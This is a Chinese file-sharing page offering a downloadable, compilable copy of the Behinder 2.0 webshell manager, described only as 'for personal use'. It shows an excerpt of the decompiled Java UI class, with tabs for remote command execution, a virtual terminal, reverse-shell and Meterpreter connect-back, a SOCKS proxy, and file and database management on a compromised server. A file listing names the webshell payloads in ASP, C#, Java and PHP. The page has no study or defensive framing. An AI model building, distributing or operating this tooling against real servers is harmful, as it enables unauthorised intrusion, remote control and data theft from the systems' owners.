首页 星云 工具 资源 星选 资讯 热门工具
:

PDF转图片 完全免费 小红书视频下载 无水印 抖音视频下载 无水印 数字星空

冰蝎2.0源码编译可运行

后端 48.15MB 9 需要积分: 1
立即下载

资源介绍:

自用
package net.rebeyond.behinder.ui; import java.io.ByteArrayInputStream; import java.util.HashMap; import java.util.Map; import net.rebeyond.behinder.core.ShellService; import net.rebeyond.behinder.utils.Constants; import net.rebeyond.behinder.utils.ProxyUtils; import net.rebeyond.behinder.utils.Utils; import org.eclipse.swt.browser.Browser; import org.eclipse.swt.custom.StackLayout; import org.eclipse.swt.custom.StyledText; import org.eclipse.swt.custom.VerifyKeyListener; import org.eclipse.swt.events.FocusAdapter; import org.eclipse.swt.events.FocusEvent; import org.eclipse.swt.events.KeyAdapter; import org.eclipse.swt.events.KeyEvent; import org.eclipse.swt.events.ModifyEvent; import org.eclipse.swt.events.ModifyListener; import org.eclipse.swt.events.MouseAdapter; import org.eclipse.swt.events.MouseEvent; import org.eclipse.swt.events.SelectionAdapter; import org.eclipse.swt.events.SelectionEvent; import org.eclipse.swt.events.VerifyEvent; import org.eclipse.swt.graphics.Image; import org.eclipse.swt.layout.FillLayout; import org.eclipse.swt.layout.GridData; import org.eclipse.swt.layout.GridLayout; import org.eclipse.swt.widgets.Button; import org.eclipse.swt.widgets.Combo; import org.eclipse.swt.widgets.Composite; import org.eclipse.swt.widgets.Display; import org.eclipse.swt.widgets.Group; import org.eclipse.swt.widgets.Label; import org.eclipse.swt.widgets.Shell; import org.eclipse.swt.widgets.TabFolder; import org.eclipse.swt.widgets.TabItem; import org.eclipse.swt.widgets.Table; import org.eclipse.swt.widgets.TableColumn; import org.eclipse.swt.widgets.Text; import org.eclipse.swt.widgets.Tree; import org.eclipse.swt.widgets.TreeItem; import org.json.JSONObject; import swing2swt.layout.BorderLayout; public class MainShell extends Shell { public JSONObject currentShell; public ShellService currentShellService; private ProxyUtils proxyUtils; public Map basicInfoMap = new HashMap(); private Text urlTxt; private Text cmdview; private Table fileTable; private Text IPTxt; private Text msfTipsTxt; private Text connStrTxt; private Table dataTable; private Text sqlTxt; private Label connectStatus; private Tree dirTree; public Label statusLabel; private Tree dataTree; private Button btnShell; private Button btnMeter; private Text portTxt; private Button connectBackBtn; private Text bindAddressTxt; private Text bindPortTxt; private StyledText proxyLogTxt; private StyledText sourceCodeTxt; private StyledText evalResultTxt; private Text memoTxt; private StyledText realCmdView; private Text imagePathTxt; private Text fileContentTxt; private Composite composite_7; private Composite composite_8; private Text filePathTxt; private Combo charsetCombo; private Combo dataTypeComb; public DBManagerUtils DBManagerUtils; public FileManagerUtils FileManagerUtils; public CmdUtils CmdUtils; public EvalUtils EvalUtils; public ConnectBackUtils ConnectBackUtils; private TabItem updateInfoTab; private Browser updateInfoBrowser; private Combo currentPathCombo; private TabItem reverseTab; private TabItem socksProxyTab; private TabItem realCmdTab; public static void main(String[] args) { } public MainShell(Display display, final JSONObject shellEntity) { super(display, 1264); this.setLayout(new BorderLayout(0, 0)); Group grpStatus = new Group(this, 0); grpStatus.setText("状态"); grpStatus.setLayoutData("South"); grpStatus.setLayout(new GridLayout(4, false)); this.statusLabel = new Label(grpStatus, 0); this.statusLabel.setLayoutData(new GridData(4, 16777216, true, false, 1, 1)); Label versionLabel = new Label(grpStatus, 0); versionLabel.setText(String.format("冰蝎 %s", Constants.VERSION)); versionLabel.setLayoutData(new GridData(131072, 16777216, false, false, 1, 1)); Label label_1 = new Label(grpStatus, 2); GridData layoutData = new GridData(); layoutData.heightHint = 20; label_1.setLayoutData(layoutData); Label authorLabel = new Label(grpStatus, 0); authorLabel.setText("By rebeyond"); TabFolder tabFolder = new TabFolder(this, 0); tabFolder.setLayoutData("Center"); TabItem basicTab = new TabItem(tabFolder, 0); basicTab.setText("基本信息"); final Browser baseInfoView = new Browser(tabFolder, 0); baseInfoView.setJavascriptEnabled(false); basicTab.setControl(baseInfoView); TabItem cmdTab = new TabItem(tabFolder, 0); cmdTab.setText("命令执行"); this.cmdview = new Text(tabFolder, 2626); this.cmdview.addFocusListener(new FocusAdapter() { public void focusGained(FocusEvent arg0) { MainShell.this.CmdUtils.currentPos = MainShell.this.cmdview.getCharCount(); } }); this.cmdview.addKeyListener(new KeyAdapter() { public void keyPressed(KeyEvent e) { try { MainShell.this.CmdUtils.sendCommand(e, MainShell.this.cmdview); } catch (Exception var3) { var3.printStackTrace(); MainShell.this.statusLabel.setText("发生异常:" + var3.getMessage()); } } }); this.cmdview.setForeground(Display.getDefault().getSystemColor(5)); this.cmdview.setBackground(Display.getDefault().getSystemColor(21)); cmdTab.setControl(this.cmdview); this.realCmdTab = new TabItem(tabFolder, 0); this.realCmdTab.setText("虚拟终端"); Composite composite_6 = new Composite(tabFolder, 0); this.realCmdTab.setControl(composite_6); composite_6.setLayout(new GridLayout(3, false)); Label imagePathLabel = new Label(composite_6, 0); imagePathLabel.setLayoutData(new GridData(131072, 16777216, false, false, 1, 1)); imagePathLabel.setText("可执行文件路径:"); this.imagePathTxt = new Text(composite_6, 2048); this.imagePathTxt.setLayoutData(new GridData(4, 16777216, true, false, 1, 1)); final Button realCmdBtn = new Button(composite_6, 0); try { Image startImage = new Image(display, new ByteArrayInputStream(Utils.getResourceData("net/rebeyond/behinder/resource/start.png"))); realCmdBtn.setData("start", startImage); Image stopImage = new Image(display, new ByteArrayInputStream(Utils.getResourceData("net/rebeyond/behinder/resource/stop.png"))); realCmdBtn.setData("stop", stopImage); realCmdBtn.setImage(startImage); } catch (Exception var68) { var68.printStackTrace(); } realCmdBtn.addSelectionListener(new SelectionAdapter() { public void widgetSelected(SelectionEvent e) { try { if (realCmdBtn.getText().equals("启动")) { MainShell.this.CmdUtils.createRealCMD(MainShell.this.realCmdView, MainShell.this.imagePathTxt.getText().trim()); realCmdBtn.setText("停止"); realCmdBtn.setImage((Image)realCmdBtn.getData("stop")); } else if (realCmdBtn.getText().equals("停止")) { MainShell.this.CmdUtils.stopRealCMD(MainShell.this.realCmdView, MainShell.this.imagePathTxt.getText().trim()); realCmdBtn.setText("启动"); realCmdBtn.setImage((Image)realCmdBtn.getData("start")); } } catch (Exception var3) { var3.printStackTrace(); } } }); realCmdBtn.setText("启动"); this.realCmdView = new CustomStyledText(composite_6, 2818, Constants.MENU_COPY | Constants.MENU_PASTE | Constants.MENU_SELECT_ALL); this.realCmdView.addFocusListener(new FocusAdapter() { public void focusGained(FocusEvent arg0) { MainShell.this.CmdUtils.currentPos = MainShell.this.realCmdView.getCharCount(); } }); this.realCmdView.setBackground(Display.getD

资源文件列表:

BehinderV2.zip 大约有139个文件
  1. Behinder.jar_Decompiler.com/
  2. Behinder.jar_Decompiler.com/.classpath 831B
  3. Behinder.jar_Decompiler.com/.idea/
  4. Behinder.jar_Decompiler.com/.idea/.gitignore 184B
  5. Behinder.jar_Decompiler.com/.idea/artifacts/
  6. Behinder.jar_Decompiler.com/.idea/artifacts/Behinder_jar_Decompiler_com_jar.xml 1.38KB
  7. Behinder.jar_Decompiler.com/.idea/libraries/
  8. Behinder.jar_Decompiler.com/.idea/libraries/Behinder_jar_Decompiler_com.xml 867B
  9. Behinder.jar_Decompiler.com/.idea/libraries/swt_4.xml 523B
  10. Behinder.jar_Decompiler.com/.idea/misc.xml 278B
  11. Behinder.jar_Decompiler.com/.idea/modules.xml 301B
  12. Behinder.jar_Decompiler.com/.idea/workspace.xml 4.13KB
  13. Behinder.jar_Decompiler.com/.project 365B
  14. Behinder.jar_Decompiler.com/asm-3.3.1.jar 42.56KB
  15. Behinder.jar_Decompiler.com/Behinder.jar_Decompiler.com.eml 606B
  16. Behinder.jar_Decompiler.com/Behinder.jar_Decompiler.com.iml 1.51KB
  17. Behinder.jar_Decompiler.com/data.db 15KB
  18. Behinder.jar_Decompiler.com/javax.servlet-api-3.1.0.jar 93.56KB
  19. Behinder.jar_Decompiler.com/json-20180130.jar 60.66KB
  20. Behinder.jar_Decompiler.com/jsp-api-2.0.jar 49.31KB
  21. Behinder.jar_Decompiler.com/META-INF/
  22. Behinder.jar_Decompiler.com/META-INF/MANIFEST.MF 68B
  23. Behinder.jar_Decompiler.com/net/
  24. Behinder.jar_Decompiler.com/net/rebeyond/
  25. Behinder.jar_Decompiler.com/net/rebeyond/behinder/
  26. Behinder.jar_Decompiler.com/net/rebeyond/behinder/core/
  27. Behinder.jar_Decompiler.com/net/rebeyond/behinder/core/Crypt.java 3.92KB
  28. Behinder.jar_Decompiler.com/net/rebeyond/behinder/core/Decrypt.java 1.63KB
  29. Behinder.jar_Decompiler.com/net/rebeyond/behinder/core/Params.java 5.82KB
  30. Behinder.jar_Decompiler.com/net/rebeyond/behinder/core/PluginUtils.java 99B
  31. Behinder.jar_Decompiler.com/net/rebeyond/behinder/core/ShellEntity.java 1.67KB
  32. Behinder.jar_Decompiler.com/net/rebeyond/behinder/core/ShellManager.java 8.62KB
  33. Behinder.jar_Decompiler.com/net/rebeyond/behinder/core/ShellService.java 25.8KB
  34. Behinder.jar_Decompiler.com/net/rebeyond/behinder/payload/
  35. Behinder.jar_Decompiler.com/net/rebeyond/behinder/payload/asp/
  36. Behinder.jar_Decompiler.com/net/rebeyond/behinder/payload/asp/BasicInfo.asp 8.12KB
  37. Behinder.jar_Decompiler.com/net/rebeyond/behinder/payload/asp/Cmd.asp 2.81KB
  38. Behinder.jar_Decompiler.com/net/rebeyond/behinder/payload/asp/Database.asp 3.06KB
  39. Behinder.jar_Decompiler.com/net/rebeyond/behinder/payload/asp/FileOperation.asp 7.78KB
  40. Behinder.jar_Decompiler.com/net/rebeyond/behinder/payload/csharp/
  41. Behinder.jar_Decompiler.com/net/rebeyond/behinder/payload/csharp/BasicInfo.dll 7KB
  42. Behinder.jar_Decompiler.com/net/rebeyond/behinder/payload/csharp/Cmd.dll 8KB
  43. Behinder.jar_Decompiler.com/net/rebeyond/behinder/payload/csharp/ConnectBack.dll 9KB
  44. Behinder.jar_Decompiler.com/net/rebeyond/behinder/payload/csharp/Database.dll 10KB
  45. Behinder.jar_Decompiler.com/net/rebeyond/behinder/payload/csharp/Eval.dll 8.5KB
  46. Behinder.jar_Decompiler.com/net/rebeyond/behinder/payload/csharp/FileOperation.dll 10KB
  47. Behinder.jar_Decompiler.com/net/rebeyond/behinder/payload/csharp/Loader.dll 7.5KB
  48. Behinder.jar_Decompiler.com/net/rebeyond/behinder/payload/csharp/RealCMD.dll 9KB
  49. Behinder.jar_Decompiler.com/net/rebeyond/behinder/payload/csharp/SocksProxy.dll 7.5KB
  50. Behinder.jar_Decompiler.com/net/rebeyond/behinder/payload/java/
  51. Behinder.jar_Decompiler.com/net/rebeyond/behinder/payload/java/BasicInfo.java 4.23KB
  52. Behinder.jar_Decompiler.com/net/rebeyond/behinder/payload/java/Cmd.java 4.14KB
  53. Behinder.jar_Decompiler.com/net/rebeyond/behinder/payload/java/ConnectBack.java 16.24KB
  54. Behinder.jar_Decompiler.com/net/rebeyond/behinder/payload/java/Database.java 5.83KB
  55. Behinder.jar_Decompiler.com/net/rebeyond/behinder/payload/java/Eval.java 5.39KB
  56. Behinder.jar_Decompiler.com/net/rebeyond/behinder/payload/java/FileOperation.java 8.87KB
  57. Behinder.jar_Decompiler.com/net/rebeyond/behinder/payload/java/Loader.java 4.04KB
  58. Behinder.jar_Decompiler.com/net/rebeyond/behinder/payload/java/RealCMD.java 6.57KB
  59. Behinder.jar_Decompiler.com/net/rebeyond/behinder/payload/java/SocksProxy.java 4.71KB
  60. Behinder.jar_Decompiler.com/net/rebeyond/behinder/payload/php/
  61. Behinder.jar_Decompiler.com/net/rebeyond/behinder/payload/php/BasicInfo.php 1.18KB
  62. Behinder.jar_Decompiler.com/net/rebeyond/behinder/payload/php/Cmd.php 2.95KB
  63. Behinder.jar_Decompiler.com/net/rebeyond/behinder/payload/php/ConnectBack.php 4.33KB
  64. Behinder.jar_Decompiler.com/net/rebeyond/behinder/payload/php/Database.php 6.91KB
  65. Behinder.jar_Decompiler.com/net/rebeyond/behinder/payload/php/Echo.php 526B
  66. Behinder.jar_Decompiler.com/net/rebeyond/behinder/payload/php/FileOperation.php 6.01KB
  67. Behinder.jar_Decompiler.com/net/rebeyond/behinder/payload/php/RealCMD.php 5.7KB
  68. Behinder.jar_Decompiler.com/net/rebeyond/behinder/payload/php/SocksProxy.php 4.48KB
  69. Behinder.jar_Decompiler.com/net/rebeyond/behinder/payload/php/test.php 1.07KB
  70. Behinder.jar_Decompiler.com/net/rebeyond/behinder/resource/
  71. Behinder.jar_Decompiler.com/net/rebeyond/behinder/resource/database.png 390B
  72. Behinder.jar_Decompiler.com/net/rebeyond/behinder/resource/database_column.png 738B
  73. Behinder.jar_Decompiler.com/net/rebeyond/behinder/resource/database_table.png 726B
  74. Behinder.jar_Decompiler.com/net/rebeyond/behinder/resource/drive.png 346B
  75. Behinder.jar_Decompiler.com/net/rebeyond/behinder/resource/file.png 1.08KB
  76. Behinder.jar_Decompiler.com/net/rebeyond/behinder/resource/folder.png 537B
  77. Behinder.jar_Decompiler.com/net/rebeyond/behinder/resource/logo-old.jpg 11.02KB
  78. Behinder.jar_Decompiler.com/net/rebeyond/behinder/resource/proxy.gif 1.08KB
  79. Behinder.jar_Decompiler.com/net/rebeyond/behinder/resource/proxy.jpg 883B
  80. Behinder.jar_Decompiler.com/net/rebeyond/behinder/resource/proxy.png 1.21KB
  81. Behinder.jar_Decompiler.com/net/rebeyond/behinder/resource/reverse.png 3.44KB
  82. Behinder.jar_Decompiler.com/net/rebeyond/behinder/resource/ssl.png 824B
  83. Behinder.jar_Decompiler.com/net/rebeyond/behinder/resource/start.png 3.04KB
  84. Behinder.jar_Decompiler.com/net/rebeyond/behinder/resource/stop.png 209B
  85. Behinder.jar_Decompiler.com/net/rebeyond/behinder/resource/test.png 1.03KB
  86. Behinder.jar_Decompiler.com/net/rebeyond/behinder/ui/
  87. Behinder.jar_Decompiler.com/net/rebeyond/behinder/ui/BasicInfoUtils.java 9.02KB
  88. Behinder.jar_Decompiler.com/net/rebeyond/behinder/ui/CmdUtils.java 9.51KB
  89. Behinder.jar_Decompiler.com/net/rebeyond/behinder/ui/ConnectBackUtils.java 1.83KB
  90. Behinder.jar_Decompiler.com/net/rebeyond/behinder/ui/CustomStyledText.java 2.09KB
  91. Behinder.jar_Decompiler.com/net/rebeyond/behinder/ui/CustomTable.java 1.95KB
  92. Behinder.jar_Decompiler.com/net/rebeyond/behinder/ui/DBManagerUtils.java 30.57KB
  93. Behinder.jar_Decompiler.com/net/rebeyond/behinder/ui/EvalUtils.java 2.72KB
  94. Behinder.jar_Decompiler.com/net/rebeyond/behinder/ui/FileManagerUtils.java 21.42KB
  95. Behinder.jar_Decompiler.com/net/rebeyond/behinder/ui/Main.java 12.04KB
  96. Behinder.jar_Decompiler.com/net/rebeyond/behinder/ui/MainShell.java 32.42KB
  97. Behinder.jar_Decompiler.com/net/rebeyond/behinder/ui/ProxyForm.java 8.47KB
  98. Behinder.jar_Decompiler.com/net/rebeyond/behinder/ui/ShellForm.java 9.23KB
  99. Behinder.jar_Decompiler.com/net/rebeyond/behinder/ui/Starter.java 1.86KB
  100. Behinder.jar_Decompiler.com/net/rebeyond/behinder/utils/
  101. Behinder.jar_Decompiler.com/net/rebeyond/behinder/utils/BasicAuthenticator.java 500B
  102. Behinder.jar_Decompiler.com/net/rebeyond/behinder/utils/CipherUtils.java 9.56KB
  103. Behinder.jar_Decompiler.com/net/rebeyond/behinder/utils/Constants.java 2.79KB
  104. Behinder.jar_Decompiler.com/net/rebeyond/behinder/utils/jc/
  105. Behinder.jar_Decompiler.com/net/rebeyond/behinder/utils/jc/CustomClassloaderJavaFileManager.java 3.76KB
  106. Behinder.jar_Decompiler.com/net/rebeyond/behinder/utils/jc/CustomJavaFileObject.java 2.2KB
  107. Behinder.jar_Decompiler.com/net/rebeyond/behinder/utils/jc/MyJavaFileObject.java 1.15KB
  108. Behinder.jar_Decompiler.com/net/rebeyond/behinder/utils/jc/PackageInternalsFinder.java 4.44KB
  109. Behinder.jar_Decompiler.com/net/rebeyond/behinder/utils/jc/Run.java 3.73KB
  110. Behinder.jar_Decompiler.com/net/rebeyond/behinder/utils/ProxyUtils.java 9.85KB
  111. Behinder.jar_Decompiler.com/net/rebeyond/behinder/utils/ReplacingInputStream.java 1.79KB
  112. Behinder.jar_Decompiler.com/net/rebeyond/behinder/utils/SSLExcludeCipherConnectionHelper.java 5.69KB
  113. Behinder.jar_Decompiler.com/net/rebeyond/behinder/utils/StringJavaObject.java 700B
  114. Behinder.jar_Decompiler.com/net/rebeyond/behinder/utils/Utils.java 30.54KB
  115. Behinder.jar_Decompiler.com/org.eclipse.core.runtime_3.13.0.v20170207-1030.jar 74.05KB
  116. Behinder.jar_Decompiler.com/org.eclipse.swt.cocoa.macosx.x86_64_3.110.0.v20190305-0602.jar 2.04MB
  117. Behinder.jar_Decompiler.com/org.eclipse.swt.jar 2.2MB
  118. Behinder.jar_Decompiler.com/org/
  119. Behinder.jar_Decompiler.com/org/eclipse/
  120. Behinder.jar_Decompiler.com/org/eclipse/jdt/
  121. Behinder.jar_Decompiler.com/org/eclipse/jdt/internal/
  122. Behinder.jar_Decompiler.com/org/eclipse/jdt/internal/jarinjarloader/
  123. Behinder.jar_Decompiler.com/org/eclipse/jdt/internal/jarinjarloader/JarRsrcLoader.java 3.56KB
  124. Behinder.jar_Decompiler.com/org/eclipse/jdt/internal/jarinjarloader/JIJConstants.java 734B
  125. Behinder.jar_Decompiler.com/org/eclipse/jdt/internal/jarinjarloader/RsrcURLConnection.java 878B
  126. Behinder.jar_Decompiler.com/org/eclipse/jdt/internal/jarinjarloader/RsrcURLStreamHandler.java 973B
  127. Behinder.jar_Decompiler.com/org/eclipse/jdt/internal/jarinjarloader/RsrcURLStreamHandlerFactory.java 774B
  128. Behinder.jar_Decompiler.com/org/eclipse/wb/
  129. Behinder.jar_Decompiler.com/org/eclipse/wb/swt/
  130. Behinder.jar_Decompiler.com/org/eclipse/wb/swt/SWTResourceManager.java 9.08KB
  131. Behinder.jar_Decompiler.com/out/
  132. Behinder.jar_Decompiler.com/out/artifacts/
  133. Behinder.jar_Decompiler.com/out/artifacts/Behinder_jar_Decompiler_com_jar/
  134. Behinder.jar_Decompiler.com/out/artifacts/Behinder_jar_Decompiler_com_jar/Behinder.jar_Decompiler.com.jar 33.91MB
  135. Behinder.jar_Decompiler.com/servlet-api-2.4.jar 95.4KB
  136. Behinder.jar_Decompiler.com/sqlite-jdbc-3.21.0.jar 5.76MB
  137. Behinder.jar_Decompiler.com/src.zip 1.89MB
  138. Behinder.jar_Decompiler.com/swing2swt.jar 33.18KB
  139. Behinder.jar_Decompiler.com/swt.jar 2.2MB
0评论
提交 加载更多评论
其他资源 网易云评论数据获取(代码+js)
该项目采用Python语言对网易云的音乐评论进行获取 为后续的数据可视化提供需要的数据 感兴趣的朋友可以看一下,有问题可以给小编留言。
目标检测目标检测目标检测目标检测目标检测目标检测
目标检测目标检测目标检测目标检测目标检测
必修三简约版(2).zip
必修三简约版(2).zip
传统rrt算法仿真代码
传统rrt算法仿真代码
chromedriver最新版
chromedriver最新版
Camunda7.17.0的jar下载
Camunda7.17.0的jar下载
Cornerstone v2.7.10
Cornerstone v2.7.10。Mac版本
Cornerstone v2.7.10 Cornerstone v2.7.10 Cornerstone v2.7.10
CocosCreator搓牌特效,可上下左右搓牌
基于CocosCreator2.4.10(CocosCreator 2.x版本可用)